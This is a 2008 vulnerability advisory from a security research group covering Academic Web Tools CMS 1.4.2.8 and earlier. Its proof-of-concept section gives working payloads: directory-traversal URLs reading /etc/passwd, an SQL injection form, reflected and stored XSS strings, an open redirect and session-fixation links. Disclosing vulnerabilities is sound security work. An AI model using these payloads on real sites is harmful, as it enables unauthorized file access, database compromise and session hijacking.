Academic Web Tools CMS <= 1.4.2.8 Multiple Vulnerabilities Jun 19 2008 10:14AM
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# AmnPardaz Security Research Team

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# Title: Academic Web Tools CMS Multiple Vulnerabilities

# Vendor: www.yektaweb.com

# Vulnerable Version: 1.4.2.8 and prior versions

# Exploit: Available

# Impact: Medium

# Fix: N/A

# Original Advisory: www.bugreport.ir/?/44

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1. Description:

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ACADEMIC WEB TOOLS (AWT) yektaweb is a Persian content management system (CMS) which can manage university conferences and journals too.

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2. Vulnerabilities:

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2.1. Directory Traversal in "/download.php" in "dfile" parameter.

2.1.1. Exploit:

Check the exploit/POC section.

2.2. Injection Flaws. SQL Injection in "/rating.php" in "book_id" parameter.

2.2.1. Exploit:

Check the exploit/POC section.

2.3. Cross Site Scripting (XSS). Reflected XSS attack in "/login.php" in URL parameters.

2.3.1. Exploit:

Check the exploit/POC section.

2.4. Cross Site Scripting (XSS). Reflected XSS attack in "/hta/htmlarea.js.php" in "glb_sid" parameters.

2.3.1. Exploit:

Check the exploit/POC section.

2.5. Cross Site Scripting (XSS). Reflected redirect XSS attack in "/rss_getfile.php" in "file" parameters.

2.4.1. Exploit:

Check the exploit/POC section.

2.6. Cross Site Scripting (XSS). Stored XSS attack in "/room.php" chat service.

2.5.1. Exploit:

Check the exploit/POC section.

2.7. Session Management Flaw. "/homepg/index.php" and "/homepg/login.php" are vulnerable to session fixation.

2.5.1. Exploit:

Check the exploit/POC section.

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3. Exploits/POCs:

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Original Exploit URL: http://bugreport.ir/index.php?/44/exploit

3.1. Directory Traversal in "/download.php" in "dfile" parameter.

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http://[URL]/download.php?dfile=../../../../../../etc/passwd

http://[URL]/download.php?dfile=../../../../../../../etc/crontab

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3.2. SQL Injection in "/rating.php" in "book_id" parameter.

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<form action="http://[URL]/rating.php" method="post">

<input type=text name=book_id size=100 value="[SQL Injection]"><br>

<input type=hidden name=user_score size=100 value=5>

<input type=submit name=submit_for_rating value="Go!">

</form>

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3.3. Reflected XSS attack in "/login.php" in URL parameters.

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http://[URL]/login.php?Fake=<fake><script>alert(/sdl BugReport.IR xss/)</script>

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3.4. Reflected XSS attack in "/hta/htmlarea.js.php" in "glb_sid" parameters.

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http://[URL]/hta/htmlarea.js.php?glb_sid=<script>alert(/sdl BugReport.IR xss/)</script>

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3.5. Reflected redirect XSS attack in "rss_getfile.php" in "file" parameters.

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http://[URL]/rss_getfile.php?file=http://BugReport.ir

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3.6. Reflected XSS attack in "room.php".

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First of all, login into the site.

Now submit this : <iframe src="http://www.BugReport.ir/" width=1000 height=1000></iframe>

at: http://[URL]/room.php?slc_lang=fa&sid=1&user_id=1

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3.7. "/homepg/index.php" and "/homepg/login.php" are vulnerable to session fixation.

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First, clear the site's cookies, and then goto:

http://[URL]/homepg/index.php?PHPSESSID=BugReportIRSessionFixation

http://[URL]/homepg/login.php?PHPSESSID=BugReportIRSessionFixation

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4. Solution:

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Source codes are encrypted. Wait for vendor patch.

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5. Credit:

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AmnPardaz Security Research & Penetration Testing Group

Contact: admin[4t}bugreport{d0t]ir

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